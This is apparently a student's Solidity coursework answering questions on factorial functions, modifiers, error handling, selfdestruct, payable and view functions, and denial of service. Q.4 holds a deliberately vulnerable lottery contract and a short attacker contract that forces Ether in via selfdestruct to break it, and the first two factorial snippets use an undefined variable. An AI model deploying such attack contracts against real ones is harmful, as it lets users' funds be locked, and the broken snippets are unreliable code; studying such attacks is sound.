Assignment 3

Q.1.

a. factorial(uint x) => returns factorial of x

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract FactorialContract {
    function factorial(uint x) public pure returns (uint) {
        uint fact=1;
        uint i=n;
        for(i;i>1;i--){
            fact*=i;
        }
        return fact;
    }
}
```

Gas used : **160275**

b. factRec(uint x) => returns factorial of x by recursion:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract FactorialContract {

    function factRec(uint x) public pure returns (uint) {
        if(n==0){
            return 1;
        }
        else{
            return n*factRec(n-1);
        }

    }
}
```

Gas used: **161535**

Q.2.

Modifiers are special functions that can be attached to other functions to add additional functionality or restrictions before or after the main function logic is executed, essentially allowing developers to modify the behavior of a function without rewriting the entire code.

"Visibility modifiers" control where a variable, function, or class can be accessed from within a codebase, while "mutability modifiers" determine whether a variable can be changed or is considered immutable, essentially defining its ability to be modified.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract FactorialContract {
    address public owner;

     constructor() {
        owner = msg.sender;
    }
    modifier onlyOwner() {
        require(msg.sender == owner, "Not authorized: Only owner can call this function");
        _;
    }

      function factRec(uint x) public onlyOwner returns (uint) {
        if (x == 0) {
            return 1;
        } else {
            return x * factRec(x - 1);
        }
    }

    // Function to change the owner
    function changeOwner(address newOwner) public onlyOwner {
        require(newOwner != address(0), "New owner cannot be the zero address");
        owner = newOwner;
    }
}
```

Q.3.

In Solidity, the primary error handling mechanisms are require, revert, and assert, each serving a distinct purpose to validate conditions and gracefully handle potential issues within smart contracts, with **require** being the most commonly used for input validation, **revert** for more complex error conditions, and **assert** for internal checks that should never fail, indicating a potential bug if triggered.

Q.4.

Contracts can be deleted from the blockchain by calling self destruct. Selfdestruct sends all remaining Ether stored in the contract to a designated address.

Implementation in bank contract:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
This is a lottery game where players deposit exactly 1 Ether to participate.
- The game ends when the contract's balance reaches a target amount of 5 Ether.
- The last player to deposit before reaching the target becomes the winner.
- The winner can claim the entire pot by calling `claimReward`.

An attacker can exploit this game using a smart contract to forcefully send Ether
to the lottery contract using `selfdestruct`. This bypasses the deposit rules,
breaking the game and preventing fair play.
*/

contract Lottery {
    uint256 public constant TARGET_AMOUNT = 5 ether;
    address public lastPlayer;

    // Function to participate in the lottery
    function participate() public payable {
        require(msg.value == 1 ether, "Only 1 Ether allowed per deposit");

        uint256 balance = address(this).balance;
        require(balance <= TARGET_AMOUNT, "Lottery is full");

        // Update the last player to the current sender
        lastPlayer = msg.sender;
    }

    // Winner can claim the reward once the target amount is reached
    function claimReward() public {
        require(address(this).balance == TARGET_AMOUNT, "Target not reached");
        require(msg.sender == lastPlayer, "Only the last player can claim");

        // Transfer the entire balance to the winner
        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

/*
This is the attacker contract designed to exploit the Lottery contract.
- It forces Ether into the Lottery contract using `selfdestruct`, bypassing the deposit logic.
- Once the balance of the Lottery contract reaches the target amount, no further deposits
can be made.
- This effectively breaks the game.
*/
contract AttackLottery {
```

```
    Lottery lottery;

    // Constructor to initialize the Lottery contract reference
    constructor(Lottery _lottery) {
        lottery = Lottery(_lottery);
    }

    // Function to execute the attack
    function attack() public payable {
        // Cast the Lottery contract address to payable
        address payable addr = payable(address(lottery));

        // Destroy this contract and send its balance to the Lottery contract
        selfdestruct(addr);
    }
}
```

The "selfdestruct" opcode in a smart contract essentially allows a contract to completely remove itself from the blockchain, effectively destroying it and transferring any remaining funds to a specified address, significantly altering the contract's behavior by permanently disabling its functionality and removing it from the network.

Using selfdestruct in smart contracts poses significant security risks, including exploitation by malicious actors to bypass logic or drain funds, accidental activation leading to permanent loss of contract functionality, and increased complexity that complicates auditing and verification. Additionally, with the formal deprecation of selfdestruct in EIP-6049, its use is strongly discouraged, as modern Solidity compilers also issue warnings about its presence, highlighting its potential vulnerabilities and obsolescence.

The selfdestruct opcode has been formally deprecated through Ethereum Improvement Proposal (EIP) 6049, discouraging its use in modern smart contracts due to security risks and unpredictability. Modern Solidity compilers generate warnings when encountering selfdestruct, reinforcing its discouraged status and advising developers to adopt safer alternatives for managing contract lifecycle and ether transfers.

Q.5.

```
function transferEther() public payable returns (address, uint)
{
    return (msg.sender, msg.value);
}
```

This function is payable which means it can receive ether along with its execution.

State-changing functions or those involving Ether transfers are considered transactions in Ethereum. These transactions are recorded on the blockchain, requiring gas fees and processing time, meaning they are not executed instantly. In Remix, such functions initiate a transaction that interacts with the blockchain. Since transactions are processed asynchronously, they do not directly return output to the caller.
The terminal logs details of the transaction, including the gas used, transaction hash, and other metadata. However, the actual output of the function (e.g., msg.sender and msg.value) is not displayed in the IDE output section because this information is not directly returned to the caller but is instead stored on the blockchain.

Now conaider this function:

```
    function display() public view returns (address)
        {
            return msg.sender;
        }
```

The display function is marked as view, meaning it only reads data and does not modify the blockchain state.
Since it does not involve any transaction and does not require gas, the function executes locally without needing the blockchain's approval. It returns the value of msg.sender immediately.

In general, for output display: view and pure functions are read-only and execute locally in the Remix IDE or on the Ethereum node without creating a transaction.
When the output is not displayed: state-changing or payable functions modify the blockchain state, involve transactions, and require gas.

Q.6.
A denial-of-service (DoS) attack is a type of cyber attack in which a malicious actor aims to render a computer or other device unavailable to its intended users by interrupting the device's normal functioning.

Simulation involves one vulnerable contract that allows withdrawals and one malicious contract that simulates the attack.
The vulnerable contract allows users to deposit Ether and withdraw it, but the withdrawal mechanism is not secure. If an external call fails, the withdrawal will not be executed correctly.
The malicious contract has a fallback function that always reverts any incoming Ether transfer. This prevents the VulnerableContract from sending funds when a withdrawal is attempted.